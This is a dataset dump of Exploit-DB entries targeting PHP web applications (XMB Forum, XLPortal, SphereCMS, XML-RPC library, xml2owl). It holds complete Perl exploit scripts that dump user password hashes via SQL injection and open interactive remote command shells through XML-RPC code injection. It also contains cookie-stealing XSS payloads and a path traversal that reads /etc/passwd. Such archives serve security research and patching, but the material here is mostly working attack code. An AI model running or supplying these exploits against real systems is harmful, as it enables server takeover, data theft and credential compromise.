deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33656
Description: XlentProjects SphereCMS 1.1 - 'archive.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-18
Author: AmnPardaz Security Research Team

Exploit:
source: https://www.securityfocus.com/bid/38309/info

SphereCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SphereCMS 1.1 Alpha is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com/archive.php?view=***
Exploit-DB #5293
Description: XLPortal 2.2.4 - 'Search' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-21
Author: cOndemned

Exploit:
#!D:\Perl\Bin\Perl.exe

use LWP::UserAgent;

#
#   XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit
#   Coded by cOndemned 
#   Greetz : irk4z, GregStar, NoRuless, Tomu, Happy B'day Avantura ;*
#

print "\r\n[~] XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit";
print "\r\n[~] Coded by cOndemned [22.03.2008]\r\n";

if (@ARGV < 2) {
    print "[~] Usage : $0 <target_host> <pref>\r\n";    # default pref is xlp / xlportal
    exit();
}

$head = new LWP::UserAgent;
$head->agent("Opera/9.26 (Windows NT 5.1; U; pl)");

my $request = HTTP::Request->new(POST => $ARGV[0]."/index.php");


$buff = "%27+union+select+1%2Cconcat%28user%2C0x3a%2Cpassword%29+from+".$ARGV[1]."_users+%2F*";
$request->content_type('application/x-www-form-urlencoded');
$request->content("page=Szukaj&op=Wyszukaj&query=".$buff."&section_News=1&section_Download=1&s".
                  "ection_Links=1&section_Articles=1&exact=any&sort=alpha&=Rozpocznij+wyszukiw".
                  "anie");
$response = $head->request($request);

if (($response->content =~ /([a-zA-Z]+?):([0-9,a-f]{32})/)) {        
    print "[+] Login : $1\r\n";
    print "[+] Haslo : $2\r\n";
}
else {
    print "\r\n[~] This one isn't vulnerable, or bad data was given\r\n";
    exit();
}

# milw0rm.com [2008-03-21]
Exploit-DB #15251
Description: Xlrstats 2.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-10-14
Author: Sky4

Exploit:
----------------------------------------------------------------------------
# Sql injection vulnerability 
----------------------------------------------------------------------------
# Exploit Title: Xlrstats (Big Brother Bot Game) SQL injection 2.0.1
----------------------------------------------------------------------------
# Author  : Sky4 
#  Email        :  Sky4@live.com
#  Date         : 14/10/2010
#  homepage :  http://www.sky4.tk

# Software Link: http://www.bigbrotherbot.net/forums/downloads/?sa=view;down=100
# Script homepage:http://www.xlrstats.com/
# Version: 2.0.1 / 2.0.2 /2.0.3 

                          
----------------------------------------------------------
[About The Program]
XLRstats is the only Real Time game stats program 
out there. When you make a kill in game, it's in the stats at the very 
same moment! No cronjobs and perl programs to generate statistics... REAL TIME!XLRstats is a statistics plugin for BigBrotherBot (B3)
 and it stores all kill-events in a mySQL database. Stats are available 
in game using the !xlrstats command in chat, but much more can be viewed
 in the XLRstats web front!Analyze your weapon usage, where do you 
hit your enemies, who are your worst enemies... all this and more 
information is available on the site.Version 2 comes with ranks, 
medals and several templates. With the templates it's very easy to 
create your own look and feel. Create your own template matching your 
clans website... no problem.-----------------------------------------------------------<<[ Exploit ]>>--http://www.localhost.com/xlrstats/index.php?func=medal&fname=1
[demo]http://www.localhost.com/xlrstats/index.php?func=medal&fname='1'------------------------------------
##############################################################
#             www.sky4.tk
#
#             sky4@live.com
#             4hm4d H0w4ri
#          Palestine In our Hearts
##############################################################
Exploit-DB #52044
Description: XMB 1.9.12.06 - Stored XSS
Type: webapps
Platform: php
Date: 2024-06-14
Author: Chokri Hammedi

Exploit:
# Exploit Title: Persistent XSS in XMB 1.9.12.06
# Date: 06/12/2024
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.xmbforum2.com/
# Software Link: https://www.xmbforum2.com/download/XMB-1.9.12.06.zip
# Version: 1.9.12.06
# Tested on: Windows XP
# CVE: N/A

## Vulnerability Details

A persistent (stored) XSS vulnerability was discovered in XMB 1.9.12.06.
The vulnerability allows an attacker to inject malicious JavaScript code
into a template or specific fields. This payload is stored on the server
and executed in the browser of any user who visits the forum, leading to
potential session hijacking, data theft, and other malicious activities.

### XSS in Template

An attacker can inject malicious JavaScript code into a template:

1. Login as Admin: Access the XMB Forum with admin privileges.
2. Navigate to the Administration Panel: Go to `/cp.php`, then in "Look &
Feel" select "Templates". This will go to `/cp2.php?action=templates`.
Select the "footer" template and click edit.
3. Enter Payload: Add the XSS payload in the footer template:


    <script>alert('XSS');</script>


4. Save the Change: Click "Submit Changes".
5. Trigger the Payload: The XSS payload will trigger anywhere the footer
template is rendered.

### XSS in News Ticker

An attacker can inject malicious JavaScript code into the News Ticker field
of the Front Page Options:

1. Login as Admin: Access the XMB Forum with admin privileges.
2. Navigate to the Administration Panel: Go to `/cp.php`, then in
"Settings" go to "Front Page Options".
3. Enter Payload: Add the XSS payload in the "News in Newsticker" field:

   <img src=x onerror=alert(1)>


4. Save the Change: Click "Submit Changes".
5. Trigger the Payload: The XSS payload will trigger anywhere the News
Ticker is displayed eg, home page
Exploit-DB #21447
Description: XMB Forum 1.6 - Magic Lantern Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-05-11
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4721/info

XMB Forum 1.6 Magic Lantern is a web-based discussion forum. It is vulnerable to a number of cross-site scripting issues because of improper filtering of user input.

1. The first involves 'member.php'; submitting script to the variable 'member' in the context of 'action=viewpro' (profile viewing) will cause that script to be returned as an error message.

2. The second involves the 'MSN' information field of a user profile; a registered user can submit script to this field without it being filtered.

3. The third issue can be exploited by submitting a '<script>' tag encoded as '%253Cscript%253E' (note that the percent sign is encoded as '%25', and '3C' and '3E' are the '<' and '>' brackets) to the username variable in the context of 'action=reg' to 'member.php'. 

member.php?action=viewpro&member=<form%20name=o><input%20name=u%20value=XSS></form><script>alert(document.o.u.value)</script>

member.php?action=reg&username=%253Cscript%253E&... .
Exploit-DB #21448
Description: XMB Forum 1.6 - Magic Lantern Log File
Type: webapps
Platform: php
Date: 2002-05-11
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4722/info

XMB Forum 1.6 Magic Lantern allows remote users to conduct activities in the forum while bypassing normal logging functions. This is accomplished by submitting an arbitrary string as the "analized" variable to index.php. Log information is written only if this variable is empty, so submitting a string to it bypassing the logging.

In addition, log files (index_log.log and cplogfile.log) may be written with improper permissions allowing users to retrieve them with a browser.

/forumpath/index.php?analized=anything
Exploit-DB #21300
Description: XMB Forum 1.6 pre-beta - Image Tag Script Injection
Type: webapps
Platform: php
Date: 2002-02-22
Author: skizzik

Exploit:
source: https://www.securityfocus.com/bid/4167/info

The Extreme Message Board (XMB) 1.6 Magic Lantern pre-beta version reportedly allows JavaScript and HTML to be entered in messages. This can be achieved by entering script or HTML between [img] and [/img] tags in a forum message.

This has been fixed in the 1.6 Magic Lantern final beta version of XMB. 

[img]javasCript:alert('Hello world.')[/img]
Exploit-DB #22821
Description: XMB Forum 1.8 - 'buddy.php?action' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-06-23
Author: Knight Commander

Exploit:
source: https://www.securityfocus.com/bid/8013/info
 
XMB Forum has been reported prone to multiple cross-site scripting and HTML-injection vulnerabilities because the application fails to sanitize user-supplied data.
 
An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user.

http://www.example.com/XMBforum/buddy.php?action=&lt;script&gt;alert('XSS')&lt;/script&gt;&buddy=&lt;script&gt;alert('XSS')&lt;/script&gt;
Exploit-DB #23746
Description: XMB Forum 1.8 - 'editprofile.php?user' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-02-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/9726/info
 
XMB Forum has been reported prone to multiple cross-site scripting, HTML injection and SQL injection vulnerabilities. The issues present themselves due to insufficient sanitization of remote user supplied data. An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user or to have malicious SQL queries executed in the underlying database.

http://www.example.com/xmb18sp2/editprofile.php?user=x"><%73cript>alert(document.cookie);</%73cript>
Exploit-DB #23748
Description: XMB Forum 1.8 - 'forumdisplay.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2004-02-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/9726/info
  
XMB Forum has been reported prone to multiple cross-site scripting, HTML injection and SQL injection vulnerabilities. The issues present themselves due to insufficient sanitization of remote user supplied data. An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user or to have malicious SQL queries executed in the underlying database.

http://www.example.com/xmb18sp2/forumdisplay.php?fid=1&tpp=x
http://www.example.com/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x
Exploit-DB #22632
Description: XMB Forum 1.8 - 'member.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-06-22
Author: Marc Ruef

Exploit:
source: https://www.securityfocus.com/bid/7662/info

XMB Forum has been reported prone to a cross-site scripting vulnerability.

XMB Forum fails to adequately filter script code from URL parameters, making it prone to cross-site scripting attacks. Attacker-supplied script code may be included in a malicious link to a specific XMB Forum script.

This may enable a remote attacker to steal cookie-based authentication credentials from legitimate users of a host running XMB Forum.

Note that although this vulnerability has been reported to affect XMB Forum 1.8, previous versions might also be affected. 

http://www.example.com/forum/member.php?action=viewpro&member=%3Cdiv%3E%3Cfont%20color=%22red%22%3EMarc%3C/font%3E%3Cscript%3Ealert(%22Ruef%22);%3C/script%3E%3C/div%3E
Exploit-DB #22820
Description: XMB Forum 1.8 - 'member.php?member' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-06-23
Author: Knight Commander

Exploit:
source: https://www.securityfocus.com/bid/8013/info

XMB Forum has been reported prone to multiple cross-site scripting and HTML-injection vulnerabilities because the application fails to sanitize user-supplied data. 

An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user.

http://www.example.com/XMBforum/member.phpaction=viewpro&member=admin&lt;script&gt;alert('XSS')&lt;/script&gt;
Exploit-DB #23745
Description: XMB Forum 1.8 - 'u2uadmin.php?uid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-02-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/9726/info

XMB Forum has been reported prone to multiple cross-site scripting, HTML injection and SQL injection vulnerabilities. The issues present themselves due to insufficient sanitization of remote user supplied data. An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user or to have malicious SQL queries executed in the underlying database.

http://www.example.com/xmb18sp2/u2uadmin.php?uid=x"><%73cript>alert(document.cookie);</%73cript>
Exploit-DB #23747
Description: XMB Forum 1.8 - BBcode align Tag Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-02-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/9726/info
 
XMB Forum has been reported prone to multiple cross-site scripting, HTML injection and SQL injection vulnerabilities. The issues present themselves due to insufficient sanitization of remote user supplied data. An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user or to have malicious SQL queries executed in the underlying database.

text1 [align=center onmouseover=alert(document.cookie);] text2 [/align]
Exploit-DB #27206
Description: XMB Forum 1.8/1.9 - 'u2u.php?Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-13
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/16604/info

XMB Forum is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database. Other attacks are also possible.

http://www.example.com/u2u.php?action=send&username=%22%3E%3Ciframe%3E
Exploit-DB #26456
Description: XMB Forum 1.9.3 - 'post.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-01
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/15267/info

XMB Nexus Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://forums.site/post.php?action=newthread&fid='[SQL]&poll=yes
Exploit-DB #26477
Description: XMB Forum 1.9.3 - 'u2u.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-07
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/15342/info

XMB is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. A successful exploit could allow an attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/u2u.php?action=send&username=[code]
Exploit-DB #1078
Description: XML-RPC Library 1.3.0 - 'xmlrpc.php' Remote Code Injection
Type: webapps
Platform: php
Date: 2005-07-01
Author: ilo--

Exploit:
# tested and working /str0ke

#!/usr/bin/perl
# 
#  ilo-- 
#
#  This program is no GPL or has nothing to do with FSF, but some
#  code was ripped from romansoft.. sorry, too lazy!
#  
#  xmlrpc bug by James from GulfTech Security Research. 
#  http://pear.php.net/bugs/bug.php?id=4692
#  xmlrpc drupal exploit, but James sais xoops, phpnuke and other
#  cms should be vulnerable.
#
#  greets: dsr! digitalsec.net
#
require LWP::UserAgent;
use URI;
use Getopt::Long;
use strict;
$| = 1;  # fflush stdout after print

# Default options
# connection 
my $basic_auth_user = '';
my $basic_auth_pass = '';
my $proxy = '';
my $proxy_user = '';
my $proxy_pass = '';
my $conn_timeout = 15;

# general
my $host;
 
 #informational lines to feed my own ego.
 print "xmlrpc exploit - http://www.reversing.org \n";
 print "2005 ilo-- <ilo".chr(64)."reversing.org> \n";
 print "special chars allowed are / and - \n\n";

 # read command line options
 my $options = GetOptions (

 #general options
 'host=s'    => \$host, # input host to test.

 # connection options
 'basic_auth_user=s' => \$basic_auth_user,
 'basic_auth_pass=s' => \$basic_auth_pass,
 'proxy=s'           => \$proxy,
 'proxy_user=s'      => \$proxy_user,
 'proxy_pass=s'      => \$proxy_pass,
 'timeout=i'         => \$conn_timeout);

 # command line sanity check 
 &show_usage unless ($host);

 # main loop 
 while (1){
 	print "\nxmlrpc@# ";
 	my $cmd = <STDIN>;
 	xmlrpc_xploit ($cmd);
 }

 exit (1);

#exploit 
sub xmlrpc_xploit {
chomp (my $data = shift);
my $reply;

my $d1 = "<?xml version=\"1.0\"?><methodCall><methodName>examples.getStateName</methodName><params><param><name>a');";  
my $d2 = ";//</name><value>xml exploit R/01</value></param></params></methodCall>";

  $data =~ s/-/'.chr(45).'/mg;
  $data =~ s/\//'.char(47).'/mg;

  my $req = new HTTP::Request 'POST' => $host;
  $req->content_type('application/xml');
  $req->content($d1.'system(\''.$data.'\')'.$d2);
  
  my $ua = new LWP::UserAgent;
  $ua->agent("xmlrpc exploit R/0.1");
  $ua->timeout($conn_timeout);

  if ($basic_auth_user){
    $req->authorization_basic($basic_auth_user, $basic_auth_pass) 
  }
  if ($proxy){
    $ua->proxy(['http'] => $proxy);
    $req->proxy_authorization_basic($proxy_user, $proxy_pass);
  }
 
  #send request, return null if not OK
  my $res = $ua->request($req);
  if ($res->is_success){
     $reply= $res->content;
  } else { 
     $reply = "";
  }
  $reply =~ /(.*).(<pre>warning.*)/mgsi;
  print ($1);
}

# show options 
sub show_usage {
  print "Syntax: ./xmlrpc.pl [options] host/uri\n\n";
  print "main options\n";
  print "connection options\n";
  print "\t--proxy (http), --proxy_user, --proxy_pass\n";
  print "\t--basic_auth_user, --basic_auth_pass\n";
  print "\t--timeout \n";
  print "\nExample\n";
  print "bash# xmlrpc.pl --host=http://www.host.com/xmlrpc.php \n";
  print "\n";
  exit(1);
}


# milw0rm.com [2005-07-01]
Exploit-DB #1083
Description: XML-RPC Library 1.3.0 - 'xmlrpc.php' Remote Command Execution (2)
Type: webapps
Platform: php
Date: 2005-07-04
Author: dukenn

Exploit:
#-------------------------------------------------------#
#                     /|                                #       
#                    | |                                #      
#                    | |                                #      
#       /\   ________| |___                             #       
#      /  \  \_______   __/                             #
#     /    \|\_____  | | _       _  _     _  ()___      #      
#    /  /\  \  ___ \ | |<_>  /  |  |  | || \ || | | |   #       
#   /  /__\  \|   \ || | _  /__ |_ |  | ||_/ || | |_|   #       
#  /  ______  \   | || || |   / |  |  | || \ || |   |   #       
# /  /      \  \  | || || |  /  |_ |_ |_||  \|| | \_|   #       
# \_/       |\_/  | || || | ___ _  _                    #       
#           | |   | || /| |  | |  | ||\/|               #       
#            \|    \||/  \|  | |_ |_||  |               #       
#                            | |  | ||  |               #       
#                            | |_ | ||  |               #       
#                                                       #
#         Original advisory by http://gulftech.org/     #
#         Exploit coded by dukenn (http://asteam.org)   #
#                                                       # 
#-------------------------------------------------------

#!/usr/bin/perl

use IO::Socket;

print "XMLRPC remote commands execute exploit by dukenn (http://asteam.org)\n";

if ($ARGV[0] && $ARGV[1])
{
 $host = $ARGV[0];
 $xml = $ARGV[1];
 $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "connecterror\n";
 while (1) {
    print '['.$host.']# ';
    $cmd = <STDIN>;
    chop($cmd);
    last if ($cmd eq 'exit');
    $xmldata = "<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_\n';echo `".$cmd."`;echo '_end_';exit;/*</name></value></param></params></methodCall>";
    print $sock "POST ".$xml." HTTP/1.1\n";
    print $sock "Host: ".$host."\n";
    print $sock "Content-Type: text/xml\n";
    print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
    $good=0;
    while ($ans = <$sock>)
       {
        if ($good == 1) { print "$ans"; }
        last if ($ans =~ /^_end_/);
        if ($ans =~ /^_begin_/) { $good = 1; }
       }
      if ($good==0) {print "Exploit Failed\n";exit();}
   }
 }
else {
 print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n";
 print "Example: perl xml.pl target.com /script/xmlrpc.php\n";
exit;
}

# milw0rm.com [2005-07-04]
Exploit-DB #1084
Description: XML-RPC Library 1.3.0 - 'xmlrpc.php' Remote Command Execution (3)
Type: webapps
Platform: php
Date: 2005-07-04
Author: Mike Rifone

Exploit:
#!/usr/bin/perl -w
# ********************************************************
# XML-RPC Remote Command Execution Exploit By Mike Rifone
# ********************************************************
# This works on da phpxmlrpc, and da PEAR XML_RPC too! All
# you need is to put the url to the server and u get shell
# Dis is my first exploit but hey it works :D ~Mike@Rifone
# ********************************************************

use LWP::UserAgent;

$brws = new LWP::UserAgent;
$brws->agent("Internet Explorer 6.0");

$host = $ARGV[0]; 

if ( !$host ) 
{ 
	die("Usage: xmlrpcexec.pl http://pathto/xmlrpcserver"); 
}

while ( $host ) 
{

	print "xmlrpc\@\#";
	
	$exec = <STDIN>;	
	$data = "<?xml version=\"1.0\"?><methodCall><methodName>foo.bar</methodName><params><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><name>','')); system('$exec'); die; /*</name></value></param></params></methodCall>";
	
	$send = new HTTP::Request POST => $host;
	$send->content($data);
	$gots = $brws->request($send);	
	$show = $gots->content;
	
	if ( $show =~ /<b>([\d]{1,10})<\/b><br \/>(.*)/is )
	{
	    print $2 . "\n";
	}
	else
	{
		print "$show\n";
	}


}

# milw0rm.com [2005-07-04]
Exploit-DB #4729
Description: xml2owl 0.1.1 - 'filedownload.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-12-13
Author: GoLd_M

Exploit:
xml2owl 0.1.1 (filedownload.php) Remote File Disclosure Vulnerability
D.s : http://surfnet.dl.sourceforge.net/sourceforge/xml2owl/xml2owl-0.1.1.tar.bz2
POC :
     /xml2owl-0.1.1/filedownload.php?file=config.inc.php
     /xml2owl-0.1.1/filedownload.php?file=../../../../../../../etc/passwd

# milw0rm.com [2007-12-13]